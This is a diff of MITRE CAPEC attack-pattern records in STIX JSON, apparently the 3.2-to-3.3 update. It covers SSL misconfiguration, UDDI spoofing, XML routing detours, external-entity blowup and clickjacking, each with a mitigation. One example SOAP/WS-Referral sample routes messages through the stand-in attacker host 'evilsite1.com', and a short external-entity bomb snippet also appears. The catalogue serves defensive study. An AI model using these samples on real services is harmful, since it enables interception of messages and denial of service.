"object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4825728c-cd47-4e1a-a705-02257ab81012", "source_ref": "course-of-action--fdda562a-133a-447b-9a9c-764b70f09841", "relationship_type": "mitigates", "target_ref": "attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65" }, { + "id": "attack-pattern--1be52fc4-a498-4d01-9a68-b560e64e0abf", "name": "Exploiting Incorrectly Configured SSL", "description": "An adversary takes advantage of incorrectly configured SSL communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -12227,12 +13244,13 @@ "x_capec_example_instances": [ "Using MITM techniques, an attacker launches a blockwise chosen-boundary attack to obtain plaintext HTTP headers by taking advantage of an SSL session using an encryption protocol in CBC mode with chained initialization vectors (IV). This allows the attacker to recover session IDs, authentication cookies, and possibly other valuable data that can be used for further exploitation. Additionally this could allow for the insertion of data into the stream, allowing for additional attacks (CSRF, SQL inject, etc) to occur." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine the configuration levels of either the server or client being targeted, preferably both. This is not a hard requirement, as the attacker can simply assume commonly exploitable configuration settings and blindly attempt them.

Experiment

  1. Provide controlled access to the server by the client, by either providing a link for the client to click on, or by positioning one's self at a place on the network to intercept and control the flow of data between client and server, e.g. MITM (man in the middle).

Exploit

  1. Insert the malicious data into the stream that takes advantage of the configuration flaw.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1be52fc4-a498-4d01-9a68-b560e64e0abf" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--73c32802-f770-4aac-85ee-a4bbe5a881a6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", @@ -12241,23 +13259,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Usage of configuration settings, such as stream ciphers vs. block ciphers and setting timeouts on SSL sessions to extremely low values lessens the potential impact. Use of later versions of TLS (e.g. TLS 1.1+) can also be effective, but not all clients or servers support the later versions.", - "type": "course-of-action", - "id": "course-of-action--73c32802-f770-4aac-85ee-a4bbe5a881a6" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9b35c8cd-57f1-45ec-9ab3-0e1e450c6bf2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9b35c8cd-57f1-45ec-9ab3-0e1e450c6bf2", "source_ref": "course-of-action--73c32802-f770-4aac-85ee-a4bbe5a881a6", "relationship_type": "mitigates", "target_ref": "attack-pattern--1be52fc4-a498-4d01-9a68-b560e64e0abf" }, { + "id": "attack-pattern--e7c0cce1-203e-454d-8a9a-76fa7ca120f8", "name": "Spoofing of UDDI/ebXML Messages", "description": "An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -12287,11 +13307,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e7c0cce1-203e-454d-8a9a-76fa7ca120f8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e81399e0-9916-4bcb-8fea-d187cf0442c3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -12300,31 +13320,33 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Clients should only trust UDDI, ebXML, or similar messages that are verifiably signed by a trusted party.", - "type": "course-of-action", - "id": "course-of-action--e81399e0-9916-4bcb-8fea-d187cf0442c3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--46bb69df-9433-4e40-8785-079dcc99916b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--46bb69df-9433-4e40-8785-079dcc99916b", "source_ref": "course-of-action--e81399e0-9916-4bcb-8fea-d187cf0442c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--e7c0cce1-203e-454d-8a9a-76fa7ca120f8" }, { + "id": "attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f", "name": "XML Routing Detour Attacks", - "description": "An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Man in the Middle type attacks. The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of his or her choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.", + "description": "An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Man in the Middle type attacks. The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -12397,64 +13419,69 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "\n Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).\n \n Example SOAP message with routing information in header:\n <S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Add an additional node (example3.com/router) to the XML path in a WS-Referral message\n <r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://example3.com/router</r:via> </r:go> </r:ref>\n \n \n Resulting in the following SOAP Header:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body>...</S:Body> </S:Envelope>\n In the following example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that he/she has targeted.\n \n Example of WS-Referral based WS-Routing injection of the bogus node route:<r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite1.com/router</r:via> </r:go> </r:ref>\n \n Resulting XML Routing Detour attack:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://evilesite1.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).\n " + "\n Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).\n \n Example SOAP message with routing information in header:\n <S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Add an additional node (example3.com/router) to the XML path in a WS-Referral message\n <r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://example3.com/router</r:via> </r:go> </r:ref>\n \n \n Resulting in the following SOAP Header:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body>...</S:Body> </S:Envelope>\n In the following example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted.\n \n Example of WS-Referral based WS-Routing injection of the bogus node route:<r:ref xmlns:r=\"http://schemas.example.com/referral\"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite1.com/router</r:via> </r:go> </r:ref>\n \n Resulting XML Routing Detour attack:<S:Envelope> <S:Header> <m:path xmlns:m=\"http://schemas.example.com/rp/\" S:actor=\"http://schemas.example.com/soap/actor\" S:mustUnderstand=\"1\"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://evilesite1.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>\n Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using command line or an automated tool, an attacker records all instances of web services to process XML requests.

    2. Techniques
    Use automated tool to record all instances to process XML requests or find exposed WSDL.
    Use tools to crawl WSDL

Experiment

  1. Identify SOAP messages that have multiple state processing.: Inspect instance to see whether the XML processing has multiple stages or not.

    2. Techniques
    Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.

Exploit

  1. Launch an XML routing detour attack: The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).

    2. Techniques
    The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--32d253b1-9a81-4e1f-9e76-b03889c23824", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-219-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.", - "type": "course-of-action", - "id": "course-of-action--32d253b1-9a81-4e1f-9e76-b03889c23824" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--50e9645d-eacc-4146-b4c7-2d3fccb9d553", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--50e9645d-eacc-4146-b4c7-2d3fccb9d553", "source_ref": "course-of-action--32d253b1-9a81-4e1f-9e76-b03889c23824", "relationship_type": "mitigates", "target_ref": "attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f" }, { + "id": "course-of-action--a5db9d2f-be59-4342-b37c-e5716afbb21d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-219-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Use SSL for connections between all parties with mutual authentication.", - "type": "course-of-action", - "id": "course-of-action--a5db9d2f-be59-4342-b37c-e5716afbb21d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ad2e36bd-7078-49d5-84e3-b333131d9839", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ad2e36bd-7078-49d5-84e3-b333131d9839", "source_ref": "course-of-action--a5db9d2f-be59-4342-b37c-e5716afbb21d", "relationship_type": "mitigates", "target_ref": "attack-pattern--9b939586-fbef-4343-94f0-0046124e3e7f" }, { + "id": "attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5", "name": "Exploiting Trust in Client", "description": "An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -12538,11 +13565,11 @@ "Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the message server accepts and acts on." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--2e4bbf17-d58f-437c-921e-69938467c2d2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -12551,23 +13578,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Ensure that client process and/or message is authenticated so that anonymous communications and/or messages are not accepted by the system.", - "type": "course-of-action", - "id": "course-of-action--2e4bbf17-d58f-437c-921e-69938467c2d2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ef29ae67-0988-4232-84e9-43b9c15d46eb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ef29ae67-0988-4232-84e9-43b9c15d46eb", "source_ref": "course-of-action--2e4bbf17-d58f-437c-921e-69938467c2d2", "relationship_type": "mitigates", "target_ref": "attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5" }, { + "id": "course-of-action--040e99bd-3494-432d-a072-6400fc8f9043", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -12576,23 +13605,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Do not rely on client validation or encoding for security purposes.", - "type": "course-of-action", - "id": "course-of-action--040e99bd-3494-432d-a072-6400fc8f9043" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5b53a383-dcc4-4eb9-a9b9-4b7b9cfc1401", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5b53a383-dcc4-4eb9-a9b9-4b7b9cfc1401", "source_ref": "course-of-action--040e99bd-3494-432d-a072-6400fc8f9043", "relationship_type": "mitigates", "target_ref": "attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5" }, { + "id": "course-of-action--03a878aa-814d-4ec7-8981-4019491f098a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -12601,23 +13632,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Utilize digital signatures to increase authentication assurance.", - "type": "course-of-action", - "id": "course-of-action--03a878aa-814d-4ec7-8981-4019491f098a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c8ac652e-3dc2-4676-8383-373e67124466", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c8ac652e-3dc2-4676-8383-373e67124466", "source_ref": "course-of-action--03a878aa-814d-4ec7-8981-4019491f098a", "relationship_type": "mitigates", "target_ref": "attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5" }, { + "id": "course-of-action--4cfdedd8-f75c-4aa9-8e79-a60fe00a2f6b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -12626,36 +13659,39 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Utilize two factor authentication to increase authentication assurance.", - "type": "course-of-action", - "id": "course-of-action--4cfdedd8-f75c-4aa9-8e79-a60fe00a2f6b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--bef5f4f9-1fce-4a46-b4fb-7c23116a91fc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bef5f4f9-1fce-4a46-b4fb-7c23116a91fc", "source_ref": "course-of-action--4cfdedd8-f75c-4aa9-8e79-a60fe00a2f6b", "relationship_type": "mitigates", "target_ref": "attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5" }, { + "id": "relationship--1f8b75f6-daad-4ca8-b8eb-fba33ce31e5c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1f8b75f6-daad-4ca8-b8eb-fba33ce31e5c", "source_ref": "course-of-action--8a996efc-52e0-4aaf-953a-21c3fe64c64b", "relationship_type": "mitigates", "target_ref": "attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5" }, { + "id": "attack-pattern--9c983530-1927-43ca-addd-63d149cda4a7", "name": "Client-Server Protocol Manipulation", "description": "An adversary takes advantage of weaknesses in the protocol by which a client and server are communicating to perform unexpected actions. Communication protocols are necessary to transfer messages between client and server applications. Moreover, different protocols may be used for different types of interactions. For example, an authentication protocol might be used to establish the identities of the server and client while a separate messaging protocol might be used to exchange data. If there is a weakness in a protocol used by the client and server, an attacker might take advantage of this to perform various types of attacks. For example, if the attacker is able to manipulate an authentication protocol, the attacker may be able spoof other clients or servers. If the attacker is able to manipulate a messaging protocol, the may be able to read sensitive information or modify message contents. This attack is often made easier by the fact that many clients and servers support multiple protocols to perform similar roles. For example, a server might support several different authentication protocols in order to support a wide range of clients, including legacy clients. Some of the older protocols may have vulnerabilities that allow an attacker to manipulate client-server interactions.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -12685,19 +13721,19 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9c983530-1927-43ca-addd-63d149cda4a7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { - "name": "XML External Entities Blowup", - "description": "This attack takes advantage of the entity replacement property of XML where the value of the replacement is a URI. A well-crafted XML document could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.", + "id": "attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b", + "name": "Data Serialization External Entities Blowup", + "description": "This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -12718,44 +13754,73 @@ "\n In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer.\n < !DOCTYPE bomb []>&detonate;\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f88600ce-ddcc-4bc8-a94c-55d673aaa78d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-221-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.", - "type": "course-of-action", - "id": "course-of-action--f88600ce-ddcc-4bc8-a94c-55d673aaa78d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--56e07d24-a92d-4fa8-813a-42ce29f65724", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--56e07d24-a92d-4fa8-813a-42ce29f65724", "source_ref": "course-of-action--f88600ce-ddcc-4bc8-a94c-55d673aaa78d", "relationship_type": "mitigates", "target_ref": "attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b" }, { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-221-1", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--1d15fec6-8b70-44d9-b58a-5c9aebb8153b" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--7d30d657-82b7-41fb-8963-2316f86a288e", + "source_ref": "course-of-action--1d15fec6-8b70-44d9-b58a-5c9aebb8153b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b" + }, + { + "id": "attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5", "name": "iFrame Overlay", - "description": "In an iFrame overlay attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system. While being logged in to some target system, the victim visits the attackers' malicious site which displays a UI that the victim wishes to interact with. In reality, the iFrame overlay page has a transparent layer above the visible UI with action controls that the attacker wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the attacker may have just tricked the victim into executing some potentially privileged (and most undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks he or she is clicking on versus what he or she is actually clicking on.", + "description": "In an iFrame overlay attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system. While being logged in to some target system, the victim visits the attackers' malicious site which displays a UI that the victim wishes to interact with. In reality, the iFrame overlay page has a transparent layer above the visible UI with action controls that the attacker wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the attacker may have just tricked the victim into executing some potentially privileged (and most undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -12818,89 +13883,96 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "The following example is a real-world iFrame overlay attack [2]. In this attack, the malicious page embeds Twitter.com on a transparent IFRAME. The status-message field is initialized with the URL of the malicious page itself. To provoke the click, which is necessary to publish the entry, the malicious page displays a button labeled \"Don't Click.\" This button is aligned with the invisible \"Update\" button of Twitter. Once the user performs the click, the status message (i.e., a link to the malicious page itself) is posted to his/ her Twitter profile." + "The following example is a real-world iFrame overlay attack [2]. In this attack, the malicious page embeds Twitter.com on a transparent IFRAME. The status-message field is initialized with the URL of the malicious page itself. To provoke the click, which is necessary to publish the entry, the malicious page displays a button labeled \"Don't Click.\" This button is aligned with the invisible \"Update\" button of Twitter. Once the user performs the click, the status message (i.e., a link to the malicious page itself) is posted to their Twitter profile." ], + 